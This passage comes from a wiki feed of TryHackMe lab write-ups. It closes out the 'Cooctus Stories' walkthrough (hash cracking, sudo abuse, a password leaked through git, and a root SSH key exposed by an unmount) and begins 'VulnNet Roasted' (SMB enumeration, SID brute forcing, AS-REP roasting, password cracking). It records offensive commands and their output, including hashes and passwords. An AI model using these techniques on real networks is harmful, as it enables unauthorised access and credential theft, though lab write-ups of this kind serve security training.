<div class="mw-highlight mw-highlight-lang-c mw-content-ltr" dir="ltr"><pre><span></span><span class="n">szymex</span><span class="err">@</span><span class="n">cchq</span><span class="o">:/</span><span class="n">home</span><span class="o">/</span><span class="n">tux</span><span class="o">/</span><span class="n">tuxling_1$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="n">nootcode</span><span class="p">.</span><span class="n">c</span><span class="w"> </span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span>

<span class="cp">#define noot int</span>
<span class="cp">#define Noot main</span>
<span class="cp">#define nOot return</span>
<span class="cp">#define noOt (</span>
<span class="cp">#define nooT )</span>
<span class="cp">#define NOOOT "f96"</span>
<span class="cp">#define NooT&nbsp;;</span>
<span class="cp">#define Nooot nuut</span>
<span class="cp">#define NOot {</span>
<span class="cp">#define nooot key</span>
<span class="cp">#define NoOt }</span>
<span class="cp">#define NOOt void</span>
<span class="cp">#define NOOT "NOOT!\n"</span>
<span class="cp">#define nooOT "050a"</span>
<span class="cp">#define noOT printf</span>
<span class="cp">#define nOOT 0</span>
<span class="cp">#define nOoOoT "What does the penguin say?\n"</span>
<span class="cp">#define nout "d61"</span>

<span class="n">noot</span><span class="w"> </span><span class="n">Noot</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NOot</span>
<span class="w">    </span><span class="n">noOT</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">nOoOoT</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NooT</span>
<span class="w">    </span><span class="n">Nooot</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NooT</span>

<span class="w">    </span><span class="n">nOot</span><span class="w"> </span><span class="n">nOOT</span><span class="w"> </span><span class="n">NooT</span>
<span class="n">NoOt</span>

<span class="n">NOOt</span><span class="w"> </span><span class="n">nooot</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NOot</span>
<span class="w">    </span><span class="n">noOT</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">NOOOT</span><span class="w"> </span><span class="n">nooOT</span><span class="w"> </span><span class="n">nout</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NooT</span>
<span class="n">NoOt</span>

<span class="n">NOOt</span><span class="w"> </span><span class="n">Nooot</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NOot</span>
<span class="w">    </span><span class="n">noOT</span><span class="w"> </span><span class="n">noOt</span><span class="w"> </span><span class="n">NOOT</span><span class="w"> </span><span class="n">nooT</span><span class="w"> </span><span class="n">NooT</span>
<span class="n">NoOt</span>
</pre></div>
<p>Let’s use <code>sed</code> to make these replacements quickly:
</p>
<pre>szymex@cchq:/home/tux/tuxling_1$ cat nootcode.c \
&gt; | sed 's/noot/int/g' \
&gt; | sed 's/Noot/main/g' \
&gt; | sed 's/nOot/return/g' \
&gt; | sed 's/noOt/(/g' \
&gt; | sed 's/nooT/)/g' \
&gt; | sed 's/NOOOT/"f96"/g' \
&gt; | sed 's/NooT/;/g' \
&gt; | sed 's/Nooot/nuut/g' \
&gt; | sed 's/NOot/{/g' \
&gt; | sed 's/nooot/key/g' \
&gt; | sed 's/NoOt/}/g' \
&gt; | sed 's/NOOt/void/g' \
&gt; | sed 's/NOOT/"NOOT!\n"/g' \
&gt; | sed 's/nooOT/"050a"/g' \
&gt; | sed 's/noOT/printf/g' \
&gt; | sed 's/nOOT/0/g' \
&gt; | sed 's/nOoOoT/"What does the penguin say?\n"/g' \
&gt; | sed 's/nout/"d61"/g'
#include &lt;stdio.h&gt;

#define int int
#define main main
#define return return
#define ( (
#define ) )
#define "f96" "f96"
#define&nbsp;;&nbsp;;
#define nuut nuut
#define { {
#define key key
#define } }
#define void void
#define "NOOT!
" ""NOOT!
"!\n"
#define "050a" "050a"
#define printf printf
#define 0 0
#define "What does the penguin say?
" "What does the penguin say?\n"
#define "d61" "d61"

int main ( ) {
    printf ( "What does the penguin say?
" )&nbsp;;
    nuut ( )&nbsp;;

    return 0&nbsp;;
}

void key ( ) {
    printf ( "f96" "050a" "d61" )&nbsp;; &lt;------------------ first fragment
}

void nuut ( ) {
    printf ( "NOOT!
" )&nbsp;;
}</pre>
<p>First fragment: <code>f96050ad61</code>
</p>
<div class="mw-heading mw-heading2"><h2 id="Second_fragment">Second fragment</h2></div>
<p>Based on the name of the directory where we found the 1st fragment, we can search for other folders with the same name structure:
</p>
<pre>szymex@cchq:/home/tux$ find / -type d -name "tuxling*" 2&gt;/dev/null
/home/tux/tuxling_3
/home/tux/tuxling_1
/media/tuxling_2</pre>
<p>The second fragment is in a PGP crypted file:
</p>
<pre>szymex@cchq:/media/tuxling_2$ cat note 
Noot noot! You found me. 
I'm Rico and this is my challenge for you.

General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).

You can have the key fragment if you can decrypt it.

Good luck and keep on nooting!

szymex@cchq:/media/tuxling_2$ ll
total 20
drwxrwx--- 2 tux  testers 4096 Feb 20 20:02 ./
drwxr-xr-x 3 root root    4096 Feb 20 21:04 ../
-rw-rw-r-- 1 tux  testers  740 Feb 20 20:00 fragment.asc
-rw-rw---- 1 tux  testers  280 Jan  2 20:20 note
-rw-rw-r-- 1 tux  testers 3670 Feb 20 20:01 private.key</pre>
<p>To decrypt the message, let’s import the private key.
</p>
<pre>szymex@cchq:/media/tuxling_2$ gpg --import private.key 
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
szymex@cchq:/media/tuxling_2$ gpg --decrypt fragment.asc 
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
      "TuxPingu"
The second key fragment is: 6eaf62818d</pre>
<p>Second fragment: <code>6eaf62818d</code>
</p>
<div class="mw-heading mw-heading2"><h2 id="Third_fragment">Third fragment</h2></div>
<p>The 3rd and last fragment was in a hidden directory in tux’s home:
</p>
<pre>szymex@cchq:/home/tux$ cat tuxling_3/note 
Hi! Kowalski here. 
I was practicing my act of disappearance so good job finding me.

Here take this,
The last fragment is: 637b56db1552

Combine them all and visit the station.</pre>
<div class="mw-heading mw-heading2"><h2 id="Crack_fragments_hash">Crack fragments hash</h2></div>
<p>All fragments join the following hash: <code>f96050ad616eaf62818d637b56db1552</code>
</p><p>Using <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://crackstation.net/">crackstation</a>, we find that the password is <code>tuxykitty</code>.
</p>
<div class="mw-heading mw-heading2"><h2 id="Tux’s_flag"><span id="Tux.E2.80.99s_flag"></span>Tux’s flag</h2></div>
<pre>$ sshpass -p "tuxykitty" ssh tux@10.10.94.63
tux@cchq:~$ cat user.txt 
THM{592d07d6c2b7b3b3e7dc36ea2edbd6f1}</pre>
<p>Tux’s flag: <code>THM{592d07d6c2b7b3b3e7dc36ea2edbd6f1}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Find_out_what_Varg_is_working_on">Find out what Varg is working on</h1></div>
<p><i>Hint: Boot sequence initiated…</i>
</p><p><code>tux</code> can run the <code>CooctOS.py</code> program as <code>varg</code> without password:
</p>
<pre>tux@cchq:~$ cd /home/varg/
tux@cchq:/home/varg$ ll
total 48
drwxr-xr-x  7 varg varg      4096 Feb 20 22:06 ./
drwxr-xr-x  6 root root      4096 Jan  2 10:24 ../
lrwxrwxrwx  1 varg varg         9 Feb 20 14:54 .bash_history -&gt; /dev/null
-rw-r--r--  1 varg varg       220 Jan  2 10:24 .bash_logout
-rw-r--r--  1 varg varg      3771 Jan  3 11:40 .bashrc
drwx------  2 varg varg      4096 Jan  3 12:53 .cache/
-rwsrws--x  1 varg varg      2146 Feb 20 22:05 CooctOS.py*
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 cooctOS_src/
-rw-rw-r--  1 varg varg        47 Feb 20 15:46 .gitconfig
drwx------  3 varg varg      4096 Jan  3 12:53 .gnupg/
drwxrwxr-x  3 varg varg      4096 Jan  3 10:22 .local/
drwx------  2 varg varg      4096 Feb 20 14:17 .ssh/
-rw-------  1 varg varg        38 Feb 20 21:08 user.txt
tux@cchq:/home/varg$ sudo -l
Matching Defaults entries for tux on cchq:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tux may run the following commands on cchq:
    (varg) NOPASSWD: /home/varg/CooctOS.py</pre>
<p>We can’t read the python script, but there is a <code>.git</code> repository in the <code>cooctOS_src</code> folder. Running <code>git show</code> reveals the source of the program and discloses new credentials:
</p>
<pre>tux@cchq:/home/varg$ cd cooctOS_src/
tux@cchq:/home/varg/cooctOS_src$ ll
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 ./
drwxr-xr-x  7 varg varg      4096 Feb 20 22:06 ../
drwxrwx---  2 varg os_tester 4096 Feb 20 15:46 bin/
drwxrwx---  4 varg os_tester 4096 Feb 20 15:22 boot/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:10 etc/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:41 games/
drwxrwxr-x  8 varg os_tester 4096 Feb 20 15:47 .git/
drwxrwx---  3 varg os_tester 4096 Feb 20 14:44 lib/
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run/
drwxrwx---  2 varg os_tester 4096 Feb 20 09:11 tmp/
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var/
tux@cchq:/home/varg/cooctOS_src$ git show
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -&gt; master)
Author: Vargles &lt;varg@cchq.noot&gt;
Date:   Sat Feb 20 15:47:21 2021 +0000

    Removed CooctOS login script for now

diff --git a/bin/CooctOS.py b/bin/CooctOS.py
deleted file mode 100755
index 4ccfcc1..0000000
--- a/bin/CooctOS.py
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗  ██████╗  ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║     ██║   ██║██║   ██║██║        ██║   \033[1;37;49m██║   ██║███████╗\033[1;30;49m
-██║     ██║   ██║██║   ██║██║        ██║   \033[1;37;49m██║   ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗   ██║   \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝  ╚═════╝  ╚═════╝   ╚═╝    \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print("                       LOADING")
-print("[", end='')
-
-for i in range(0,60):
-    #print(chr(27)+ "[2J")
-    #print(logo)
-    #print("                       LOADING")
-    print("[", end='')
-    print("=" * i, end='')
-    print("]")
-    time.sleep(0.02)
-    print("\033[A\033[A")
-
-print("\032")
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Cold boot detected. Flux Capacitor powered up")
-
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Mounted Cooctus Filesystem under /opt")
-
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Finished booting sequence")
-
-print("CooctOS 13.3.7 LTS cookie tty1")
-uname = input("\ncookie login: ")
-pw = input("Password: ")
-
-for i in range(0,2):
-    if pw&nbsp;!= "slowroastpork": &lt;------------------------------------- Credentials
-        pw = input("Password: ")
-    else:
-        if uname == "varg":
-            os.setuid(1002)
-            os.setgid(1002)
-            pty.spawn("/bin/rbash")
-            break
-        else:
-            print("Login Failed")
-            break</pre>
<div class="mw-heading mw-heading2"><h2 id="Lateral_move_(tux_->_varg)"><span id="Lateral_move_.28tux_-.3E_varg.29"></span>Lateral move (tux -&gt; varg)</h2></div>
<p>Now, we can connect as <code>varg</code> and read the flag.
</p>
<pre>$ sshpass -p "slowroastpork" ssh varg@10.10.94.63
varg@cchq:~$ cat user.txt 
THM{3a33063a4a8a5805d17aa411a53286e6}</pre>
<p>Varg’s flag: <code>THM{3a33063a4a8a5805d17aa411a53286e6}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Get_full_root_privileges">Get full root privileges</h1></div>
<p><i>Hint: To mount or not to mount. That is the question.</i>
</p><p>Varg can run <code>umount</code> as root without password. However, checking on GTFOBins doesn’t reveal any privilege escalation with <code>umount</code>.
</p>
<pre>varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User varg may run the following commands on cchq:
    (root) NOPASSWD: /bin/umount</pre>
<p>Checking in the <code>fstab</code> file reveals that there is a mounted partition in <code>/opt/CooctFS</code>:
</p>
<pre>varg@cchq:~$ cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# &lt;file system&gt; &lt;mount point&gt;   &lt;type&gt;  &lt;options&gt;       &lt;dump&gt;  &lt;pass&gt;
# / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation
/dev/disk/by-id/dm-uuid-LVM-mrAx163lW73D8hFDlydZU2zYDwkd7tgT28ehcZQNMmzJmc0XKYP9m3eluIT1sZGo    /   ext4    defaults    0 0
# /boot was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/6885d03d-f1fb-4785-971e-2bb17a3d22e3  /boot   ext4    defaults    0 0
#/swap.img  none    swap    sw  0 0
/home/varg/cooctOS_src  /opt/CooctFS    none    defaults,bind   0 0</pre>
<p>Unmounting the partition reveals a <code>root</code> folder:
</p>
<pre>varg@cchq:~$ cd /opt/CooctFS/
varg@cchq:/opt/CooctFS$ ll
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 ./
drwxr-xr-x  3 root root      4096 Feb 20 14:30 ../
drwxrwx---  2 varg os_tester 4096 Feb 20 15:46 bin/
drwxrwx---  4 varg os_tester 4096 Feb 20 15:22 boot/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:10 etc/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:41 games/
drwxrwxr-x  8 varg os_tester 4096 Feb 20 15:47 .git/
drwxrwx---  3 varg os_tester 4096 Feb 20 14:44 lib/
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run/
drwxrwx---  2 varg os_tester 4096 Feb 20 09:11 tmp/
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var/
varg@cchq:/opt/CooctFS$ cd
varg@cchq:~$ sudo /bin/umount /opt/CooctFS 
varg@cchq:~$ ls -la /opt/CooctFS/
total 12
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ..
drwxr-xr-x 5 root root 4096 Feb 20 09:16 root</pre>
<p>And there is a <code>root.txt</code> file there, but it’s not the root flag.
</p>
<pre>varg@cchq:~$ cat /opt/CooctFS/root/root.txt 
hmmm...
No flag here. You aren't root yet.</pre>
<div class="mw-heading mw-heading2"><h2 id="Root_flag">Root flag</h2></div>
<p>That said, we can find the root SSH private key (<code>/opt/CooctFS/root/.ssh/id_rsa</code>). Save it locally, give it the proper permissions, and use it to connect as <code>root</code>:
</p>
<pre>┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ chmod 400 root.key                                  
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ ssh -i root.key root@10.10.94.63                    
root@cchq:~# cat /root/root.txt 
THM{H4CK3D_BY_C00CTUS_CL4N}</pre>
<p>Root flag: <code>THM{H4CK3D_BY_C00CTUS_CL4N}</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101056
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.040 seconds
Real time usage: 4.630 seconds
Preprocessor visited node count: 203/1000000
Revision size: 27890/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 2/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 28290/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7026:|#|:idhash:canonical and timestamp 20260416101056 and revision id 38775. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > VulnNet Roasted</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-VulnNet-Roasted</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-VulnNet-Roasted</comments>
            <pubDate>Fri, 28 May 2021 06:48:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-VulnNet-Roasted</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-VulnNet-Roasted.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>VulnNet Entertainment quickly deployed another management instance on their very broad network…
</p><p>VulnNet Entertainment just deployed a new instance on their network with the newly-hired system administrators. Being a security-aware company, they as always hired you to perform a penetration test, and see how system administrators are performing.
</p>
<ul><li>Difficulty: Easy</li>
<li>Operating System: Windows</li></ul>
<p>This is a much simpler machine, do not overthink. You can do it by following common methodologies.
</p><p>Note: It might take up to 6 minutes for this machine to fully boot.
</p>
<ul><li>Author: TheCyb3rW0lf</li>
<li>Discord: TheCyb3rW0lf#8594</li></ul>
<p>Icon made by DinosoftLabs from www.flaticon.com
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#What_is_the_user_flag?_(Desktop.txt)"><span class="tocnumber">1</span> <span class="toctext">What is the user flag? (Desktop.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Services"><span class="tocnumber">1.1</span> <span class="toctext">Services</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#Samba"><span class="tocnumber">1.2</span> <span class="toctext">Samba</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#Find_users"><span class="tocnumber">1.3</span> <span class="toctext">Find users</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#Find_users_without_Kerberos_pre-authentication"><span class="tocnumber">1.4</span> <span class="toctext">Find users without Kerberos pre-authentication</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#Samba_authenticated_access_(t-skid)"><span class="tocnumber">1.5</span> <span class="toctext">Samba authenticated access (t-skid)</span></a></li>
<li class="toclevel-2 tocsection-7"><a href="#User_flag"><span class="tocnumber">1.6</span> <span class="toctext">User flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-8"><a href="#What_is_the_system_flag?_(Desktop.txt)"><span class="tocnumber">2</span> <span class="toctext">What is the system flag? (Desktop.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-9"><a href="#Dump_hashes"><span class="tocnumber">2.1</span> <span class="toctext">Dump hashes</span></a></li>
<li class="toclevel-2 tocsection-10"><a href="#System_flag"><span class="tocnumber">2.2</span> <span class="toctext">System flag</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="What_is_the_user_flag?_(Desktop.txt)"><span id="What_is_the_user_flag.3F_.28Desktop.txt.29"></span>What is the user flag? (Desktop.txt)</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Services">Services</h2></div>
<p>Running a full Nmap scan will reveal several running services. Our target machine is a Windows machine, and the domain name is <code>vulnnet-rst.local</code>.
</p>
<pre>PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-05-27 12:26:37Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49665/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-05-27T12:27:28
|_  start_date: N/A</pre>
<div class="mw-heading mw-heading2"><h2 id="Samba">Samba</h2></div>
<p>Starting with the Samba shares, we can use <code>smbclient</code> to list the network shares:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ smbclient -L 10.10.100.15  
Enter WORKGROUP\kali's password: 

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share 
    SYSVOL          Disk      Logon server share 
    VulnNet-Business-Anonymous Disk      VulnNet Business Sharing
    VulnNet-Enterprise-Anonymous Disk      VulnNet Enterprise Sharing
SMB1 disabled -- no workgroup available</pre>
<p><code>smbmap</code> will also reveal the permissions:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ smbmap -u anonymous -H 10.10.117.62
[+] Guest session       IP: 10.10.117.62:445    Name: 10.10.117.62                                      
        Disk                                                    Permissions Comment
    ----                                                    ----------- -------
    ADMIN$                                              NO ACCESS   Remote Admin
    C$                                                  NO ACCESS   Default share
    IPC$                                                READ ONLY   Remote IPC
    NETLOGON                                            NO ACCESS   Logon server share 
    SYSVOL                                              NO ACCESS   Logon server share 
    VulnNet-Business-Anonymous                          READ ONLY   VulnNet Business Sharing
    VulnNet-Enterprise-Anonymous                        READ ONLY   VulnNet Enterprise Sharing</pre>
<p>Can access the anonymous shares (<code>VulnNet-Business-Anonymous</code> and <code>VulnNet-Enterprise-Anonymous</code>) but they do not host any useful files.
</p>
<div class="mw-heading mw-heading2"><h2 id="Find_users">Find users</h2></div>
<p>As we have a read access to <code>IPC$</code> without authentication, we are able to list the domain users as anonymous:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ python3 /usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@10.10.117.62 | tee users.txt
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Brute forcing SIDs at 10.10.117.62
[*] StringBinding ncacn_np:10.10.117.62[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1589833671-435344116-4136949213
498: VULNNET-RST\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: VULNNET-RST\Administrator (SidTypeUser)
501: VULNNET-RST\Guest (SidTypeUser)
502: VULNNET-RST\krbtgt (SidTypeUser)
512: VULNNET-RST\Domain Admins (SidTypeGroup)
513: VULNNET-RST\Domain Users (SidTypeGroup)
514: VULNNET-RST\Domain Guests (SidTypeGroup)
515: VULNNET-RST\Domain Computers (SidTypeGroup)
516: VULNNET-RST\Domain Controllers (SidTypeGroup)
517: VULNNET-RST\Cert Publishers (SidTypeAlias)
518: VULNNET-RST\Schema Admins (SidTypeGroup)
519: VULNNET-RST\Enterprise Admins (SidTypeGroup)
520: VULNNET-RST\Group Policy Creator Owners (SidTypeGroup)
521: VULNNET-RST\Read-only Domain Controllers (SidTypeGroup)
522: VULNNET-RST\Cloneable Domain Controllers (SidTypeGroup)
525: VULNNET-RST\Protected Users (SidTypeGroup)
526: VULNNET-RST\Key Admins (SidTypeGroup)
527: VULNNET-RST\Enterprise Key Admins (SidTypeGroup)
553: VULNNET-RST\RAS and IAS Servers (SidTypeAlias)
571: VULNNET-RST\Allowed RODC Password Replication Group (SidTypeAlias)
572: VULNNET-RST\Denied RODC Password Replication Group (SidTypeAlias)
1000: VULNNET-RST\WIN-2BO8M1OE1M1$ (SidTypeUser)
1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
1105: VULNNET-RST\a-whitehat (SidTypeUser)
1109: VULNNET-RST\t-skid (SidTypeUser)
1110: VULNNET-RST\j-goldenhand (SidTypeUser)
1111: VULNNET-RST\j-leet (SidTypeUser)</pre>
<div class="mw-heading mw-heading2"><h2 id="Find_users_without_Kerberos_pre-authentication">Find users without Kerberos pre-authentication</h2></div>
<p>Isolate users (<code>SidTypeUser</code>)
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ grep SidTypeUser users.txt | awk '{print $2}' | cut -d "\\" -f2 &gt; users.txt
                                                                                                                    
┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ cat users.txt 
Administrator
Guest
krbtgt
WIN-2BO8M1OE1M1$
enterprise-core-vn
a-whitehat
t-skid
j-goldenhand
j-leet</pre>
<p>Now, let’s use <code>GetNPUsers.py</code> to find users without Kerberos pre-authentication:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted/files]
└─$ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py \
        -dc-ip 10.10.100.15 \ 
        -usersfile users.txt \
        -no-pass \
        vulnnet-rst.local/
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User WIN-2BO8M1OE1M1$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:692e76f70a8772c46ed94e73130460c8$713b0693498fdaff68642d78e713ca965e5007d5d864ca727289930783fe28f00bf79fef8126c4722d09cafc72ec60e940d31297591f67ce049030cb531ddd9c83cd37796fbf414b830a7c90fe26d2c45d6f2b624cd4413c58e3dbb77519dd69906248f8db27b1974b880a826003e562e25d9de9e4cb7cfa85c1de954761053b7d51a455530001348b46909f91f4e80bae7374071339f0920bb3e2ad95169d20f05d0cd586882facb63c058072dacb7ec8ddbcd9297331e1f6fb6d844ea7967659bee38fde4431af9f9608e9adcb38cb6e20e72bcf61c524f480b5ea2530e16dbeed2272855a61a05c03e84653aa1a3bbbd5ece06633
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set</pre>
<p>We have found <code>t-skid</code>’s hash. Let’s crack it:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted/files]
└─$ /data/src/john/run/john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tj072889*        ($krb5asrep$23$t-skid@VULNNET-RST.LOCAL)
1g 0:00:00:04 DONE (2021-05-27 19:51) 0.2118g/s 673410p/s 673410c/s 673410C/s tj3929..tj0216044
Use the "--show" option to display all of the cracked passwords reliably
Session completed</pre>
<ul><li>User: <code>t-skid</code></li>
<li>Password: <code>tj072889*</code></li></ul>
<div class="mw-heading mw-heading2"><h2 id="Samba_authenticated_access_(t-skid)"><span id="Samba_authenticated_access_.28t-skid.29"></span>Samba authenticated access (<code>t-skid</code>)</h2></div>
<p>Using these credentials, we are now able to connect to the <code>NETLOGON</code> Samba network share:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ smbclient -U vulnnet-rst.local/t-skid //10.10.100.15/NETLOGON                                             130 ⨯
Enter VULNNET-RST.LOCAL\t-skid's password: 
Try "help" to get a list of possible commands.
smb: \&gt; ls
  .                                   D        0  Wed Mar 17 00:15:49 2021
  ..                                  D        0  Wed Mar 17 00:15:49 2021
  ResetPassword.vbs                   A     2821  Wed Mar 17 00:18:14 2021

        8540159 blocks of size 4096. 4318542 blocks available
smb: \&gt; get ResetPassword.vbs -
Option Explicit

